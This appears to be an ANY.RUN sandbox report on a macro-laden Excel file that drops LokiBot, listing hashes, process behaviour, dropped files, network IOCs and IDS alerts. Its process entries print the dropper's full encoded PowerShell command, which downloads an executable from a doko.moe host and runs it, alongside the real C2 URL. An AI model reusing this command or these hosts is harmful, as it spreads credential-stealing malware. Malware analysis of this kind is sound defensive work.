analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

PT JAYA GARMENT SOA.xls

Full analysis: https://app.any.run/tasks/7c3b3858-39ff-49c0-a9b7-e59c69918100
Verdict: Malicious activity
Threats:

LokiBot was developed in 2015 to steal information from a variety of applications. Despite the age, this malware is still rather popular among cybercriminals.

Malware Trends Tracker     >>>
Analysis date: December 19, 2018, 06:49:43
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
trojan
lokibot
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: PC, Last Saved By: PC, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Nov 21 22:30:03 2018, Last Saved Time/Date: Wed Nov 21 22:30:04 2018, Security: 0
MD5:

7F15F54FABC7006380851DD4F0F3143E

SHA1:

7D5446DCF3B9623C9DDB4783B60386004B541CA7

SHA256:

0FB83700BD18CA48B41C5835D2C87021EDB0CC031F2732B6BDAC568E793240F3

SSDEEP:

1536:iDZ+RwPONXoRjDhIcp0fDlaGGx+cL26nAAo9WLDCOuKjrhZZ2vfCOQkso0QcDb:iDZ+RwPONXoRjDhIcp0fDlaGGx+cL26B

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cMD.exe (PID: 4040)
      • cMD.exe (PID: 1348)

    • Starts CMD.EXE for commands execution

      • EXCEL.EXE (PID: 2984)
      • EXCEL.EXE (PID: 2676)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2984)
      • EXCEL.EXE (PID: 2676)

    • Application was dropped or rewritten from another process

      • FcYAVK.exe (PID: 2264)
      • tnsd.exe (PID: 3864)
      • tnsd.exe (PID: 3228)
      • FcYAVK.exe (PID: 2304)
      • tnsd.exe (PID: 3000)
      • tnsd.exe (PID: 2948)

    • Writes to a start menu file

      • tnsd.exe (PID: 3228)
      • tnsd.exe (PID: 3000)

    • LOKIBOT was detected

      • tnsd.exe (PID: 3864)

    • Connects to CnC server

      • tnsd.exe (PID: 3864)

    • LokiBot was detected

      • tnsd.exe (PID: 3864)

    • Actions looks like stealing of personal data

      • tnsd.exe (PID: 3864)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3288)
      • FcYAVK.exe (PID: 2264)
      • tnsd.exe (PID: 3228)
      • tnsd.exe (PID: 3864)
      • FcYAVK.exe (PID: 2304)
      • powershell.exe (PID: 3516)
      • tnsd.exe (PID: 3000)

    • Starts itself from another location

      • FcYAVK.exe (PID: 2264)
      • FcYAVK.exe (PID: 2304)

    • Application launched itself

      • tnsd.exe (PID: 3228)
      • tnsd.exe (PID: 3000)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3288)
      • FcYAVK.exe (PID: 2264)
      • tnsd.exe (PID: 3864)
      • powershell.exe (PID: 3516)
      • FcYAVK.exe (PID: 2304)

    • Loads DLL from Mozilla Firefox

      • tnsd.exe (PID: 3864)

  • INFO

    • Creates files in the user directory

      • EXCEL.EXE (PID: 2984)
      • EXCEL.EXE (PID: 2676)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2984)
      • EXCEL.EXE (PID: 2676)

    • Reads settings of System Certificates

      • powershell.exe (PID: 3288)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Author: PC
LastModifiedBy: PC
Software: Microsoft Excel
CreateDate: 2018:11:21 22:30:03
ModifyDate: 2018:11:21 22:30:04
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
AppVersion: 12
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
  • Sheet1
  • Sheet2
  • Sheet3
HeadingPairs:
  • Worksheets
  • 3
CompObjUserTypeLen: 38
CompObjUserType: Microsoft Office Excel 2003 Worksheet
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
48
Monitored processes
12
Malicious processes
10
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start excel.exe no specs cmd.exe no specs powershell.exe fcyavk.exe tnsd.exe #LOKIBOT tnsd.exe excel.exe no specs cmd.exe no specs powershell.exe fcyavk.exe tnsd.exe tnsd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2984"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
4040cMD & /C PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAbQB4AHAAawBMAGIATgBXAEUANABnAG0AQgBFACAAKAAgACQAdwB6AG4AQgB0AEIAYwA1AGwASwBzAEsAXwB0AGsASgBKAFQAYwBEAFkAUAA2AGMAdAA4AHoAZAAgACwAIAAkAEYAMgBHAE0AUABvAEQAUAB5AFYAUABUAHEAcgBLAGMAMgBfACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAdwB6AG4AQgB0AEIAYwA1AGwASwBzAEsAXwB0AGsASgBKAFQAYwBEAFkAUAA2AGMAdAA4AHoAZAAgACwAIAAkAEYAMgBHAE0AUABvAEQAUAB5AFYAUABUAHEAcgBLAGMAMgBfACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAEYAMgBHAE0AUABvAEQAUAB5AFYAUABUAHEAcgBLAGMAMgBfACAAKQA7ACAAfQANAAoAdAByAHkAewANAAoADQAKACQAUwBOADUAdABfAFEANwBMAHMAbABoADUANABVAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABGAGMAWQBBAFYASwAuAGUAeABlACcAOwANAAoAbQB4AHAAawBMAGIATgBXAEUANABnAG0AQgBFACAAJwBoAHQAdABwAHMAOgAvAC8AYQAuAGQAbwBrAG8ALgBtAG8AZQAvAHUAdwB2AG4AdwBnAC4AagBwAGcAJwAgACQAUwBOADUAdABfAFEANwBMAHMAbABoADUANABVADsADQAKAA0ACgB9AGMAYQB0AGMAaAB7AH0AC:\Windows\system32\cMD.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3288PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAbQB4AHAAawBMAGIATgBXAEUANABnAG0AQgBFACAAKAAgACQAdwB6AG4AQgB0AEIAYwA1AGwASwBzAEsAXwB0AGsASgBKAFQAYwBEAFkAUAA2AGMAdAA4AHoAZAAgACwAIAAkAEYAMgBHAE0AUABvAEQAUAB5AFYAUABUAHEAcgBLAGMAMgBfACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAdwB6AG4AQgB0AEIAYwA1AGwASwBzAEsAXwB0AGsASgBKAFQAYwBEAFkAUAA2AGMAdAA4AHoAZAAgACwAIAAkAEYAMgBHAE0AUABvAEQAUAB5AFYAUABUAHEAcgBLAGMAMgBfACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAEYAMgBHAE0AUABvAEQAUAB5AFYAUABUAHEAcgBLAGMAMgBfACAAKQA7ACAAfQANAAoAdAByAHkAewANAAoADQAKACQAUwBOADUAdABfAFEANwBMAHMAbABoADUANABVAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABGAGMAWQBBAFYASwAuAGUAeABlACcAOwANAAoAbQB4AHAAawBMAGIATgBXAEUANABnAG0AQgBFACAAJwBoAHQAdABwAHMAOgAvAC8AYQAuAGQAbwBrAG8ALgBtAG8AZQAvAHUAdwB2AG4AdwBnAC4AagBwAGcAJwAgACQAUwBOADUAdABfAFEANwBMAHMAbABoADUANABVADsADQAKAA0ACgB9AGMAYQB0AGMAaAB7AH0AC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cMD.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2264"C:\Users\admin\FcYAVK.exe" C:\Users\admin\FcYAVK.exe
powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3228"C:\Users\admin\AppData\Roaming\tdbi\tnsd.exe"C:\Users\admin\AppData\Roaming\tdbi\tnsd.exe
FcYAVK.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3864"C:\Users\admin\AppData\Roaming\tdbi\tnsd.exe"C:\Users\admin\AppData\Roaming\tdbi\tnsd.exe
tnsd.exe
User:
admin
Integrity Level:
MEDIUM
2676"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
1348cMD & /C PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAbQB4AHAAawBMAGIATgBXAEUANABnAG0AQgBFACAAKAAgACQAdwB6AG4AQgB0AEIAYwA1AGwASwBzAEsAXwB0AGsASgBKAFQAYwBEAFkAUAA2AGMAdAA4AHoAZAAgACwAIAAkAEYAMgBHAE0AUABvAEQAUAB5AFYAUABUAHEAcgBLAGMAMgBfACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAdwB6AG4AQgB0AEIAYwA1AGwASwBzAEsAXwB0AGsASgBKAFQAYwBEAFkAUAA2AGMAdAA4AHoAZAAgACwAIAAkAEYAMgBHAE0AUABvAEQAUAB5AFYAUABUAHEAcgBLAGMAMgBfACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAEYAMgBHAE0AUABvAEQAUAB5AFYAUABUAHEAcgBLAGMAMgBfACAAKQA7ACAAfQANAAoAdAByAHkAewANAAoADQAKACQAUwBOADUAdABfAFEANwBMAHMAbABoADUANABVAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABGAGMAWQBBAFYASwAuAGUAeABlACcAOwANAAoAbQB4AHAAawBMAGIATgBXAEUANABnAG0AQgBFACAAJwBoAHQAdABwAHMAOgAvAC8AYQAuAGQAbwBrAG8ALgBtAG8AZQAvAHUAdwB2AG4AdwBnAC4AagBwAGcAJwAgACQAUwBOADUAdABfAFEANwBMAHMAbABoADUANABVADsADQAKAA0ACgB9AGMAYQB0AGMAaAB7AH0AC:\Windows\system32\cMD.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3516PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAbQB4AHAAawBMAGIATgBXAEUANABnAG0AQgBFACAAKAAgACQAdwB6AG4AQgB0AEIAYwA1AGwASwBzAEsAXwB0AGsASgBKAFQAYwBEAFkAUAA2AGMAdAA4AHoAZAAgACwAIAAkAEYAMgBHAE0AUABvAEQAUAB5AFYAUABUAHEAcgBLAGMAMgBfACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAdwB6AG4AQgB0AEIAYwA1AGwASwBzAEsAXwB0AGsASgBKAFQAYwBEAFkAUAA2AGMAdAA4AHoAZAAgACwAIAAkAEYAMgBHAE0AUABvAEQAUAB5AFYAUABUAHEAcgBLAGMAMgBfACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAEYAMgBHAE0AUABvAEQAUAB5AFYAUABUAHEAcgBLAGMAMgBfACAAKQA7ACAAfQANAAoAdAByAHkAewANAAoADQAKACQAUwBOADUAdABfAFEANwBMAHMAbABoADUANABVAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABGAGMAWQBBAFYASwAuAGUAeABlACcAOwANAAoAbQB4AHAAawBMAGIATgBXAEUANABnAG0AQgBFACAAJwBoAHQAdABwAHMAOgAvAC8AYQAuAGQAbwBrAG8ALgBtAG8AZQAvAHUAdwB2AG4AdwBnAC4AagBwAGcAJwAgACQAUwBOADUAdABfAFEANwBMAHMAbABoADUANABVADsADQAKAA0ACgB9AGMAYQB0AGMAaAB7AH0AC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cMD.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2304"C:\Users\admin\FcYAVK.exe" C:\Users\admin\FcYAVK.exe
powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Total events
2 253
Read events
2 036
Write events
0
Delete events
0

Modification events

No data
Executable files
5
Suspicious files
5
Text files
9
Unknown types
6

Dropped files

PID
Process
Filename
Type
2984EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR6A92.tmp.cvr —
MD5:—
SHA256:—
3288powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\08DKKFB1WE9AXODH6Z4N.temp —
MD5:—
SHA256:—
2264FcYAVK.exeC:\Users\admin\AppData\Roaming\tdbi\tnsd.exe:ZoneIdentifier —
MD5:—
SHA256:—
3864tnsd.exeC:\Users\admin\AppData\Roaming\F63AAA\A71D80.lck —
MD5:—
SHA256:—
2984EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DF0CF20BF235064E96.TMP —
MD5:—
SHA256:—
2984EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DF74537C886D65D394.TMP —
MD5:—
SHA256:—
2676EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRB1E7.tmp.cvr —
MD5:—
SHA256:—
3516powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MW8HANCRK9MEFESMZ7WI.temp —
MD5:—
SHA256:—
2304FcYAVK.exeC:\Users\admin\AppData\Roaming\tdbi\tnsd.exe:ZoneIdentifier —
MD5:—
SHA256:—
3288powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF247446.TMPbinary
MD5:6073B6FC66D2E68644893344F6904E4A
SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
9
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3864
tnsd.exe
POST
—
62.141.39.86:80
http://redep.ga/st-21609/cgi.php
DE
—
—
malicious
3864
tnsd.exe
POST
—
62.141.39.86:80
http://redep.ga/st-21609/cgi.php
DE
—
—
malicious
3864
tnsd.exe
POST
—
62.141.39.86:80
http://redep.ga/st-21609/cgi.php
DE
—
—
malicious
3864
tnsd.exe
POST
—
62.141.39.86:80
http://redep.ga/st-21609/cgi.php
DE
—
—
malicious
3864
tnsd.exe
POST
—
62.141.39.86:80
http://redep.ga/st-21609/cgi.php
DE
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3516
powershell.exe
185.83.215.2:443
a.doko.moe
—
PT
suspicious
3288
powershell.exe
185.83.215.2:443
a.doko.moe
—
PT
suspicious
3288
powershell.exe
151.139.128.10:443
c.doko.moe
Highwinds Network Group, Inc.
US
malicious
3864
tnsd.exe
62.141.39.86:80
redep.ga
myLoc managed IT AG
DE
malicious
3516
powershell.exe
151.139.128.10:443
c.doko.moe
Highwinds Network Group, Inc.
US
malicious

DNS requests

Domain
IP
Reputation
a.doko.moe
  • 185.83.215.2
unknown
c.doko.moe
  • 151.139.128.10
malicious
redep.ga
  • 62.141.39.86
malicious

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET INFO DNS Query for Suspicious .ga Domain
3864
tnsd.exe
A Network Trojan was detected
ET TROJAN LokiBot User-Agent (Charon/Inferno)
3864
tnsd.exe
A Network Trojan was detected
ET TROJAN LokiBot Checkin
3864
tnsd.exe
Potentially Bad Traffic
ET INFO HTTP POST Request to Suspicious *.ga Domain
3864
tnsd.exe
A Network Trojan was detected
ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1
3864
tnsd.exe
A Network Trojan was detected
ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2
3864
tnsd.exe
A Network Trojan was detected
MALWARE [PTsecurity] Loki Bot Check-in M2
3864
tnsd.exe
A Network Trojan was detected
ET TROJAN LokiBot User-Agent (Charon/Inferno)
3864
tnsd.exe
A Network Trojan was detected
ET TROJAN LokiBot Checkin
3864
tnsd.exe
Potentially Bad Traffic
ET INFO HTTP POST Request to Suspicious *.ga Domain
6 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
PT JAYA GARMENT SOA.xls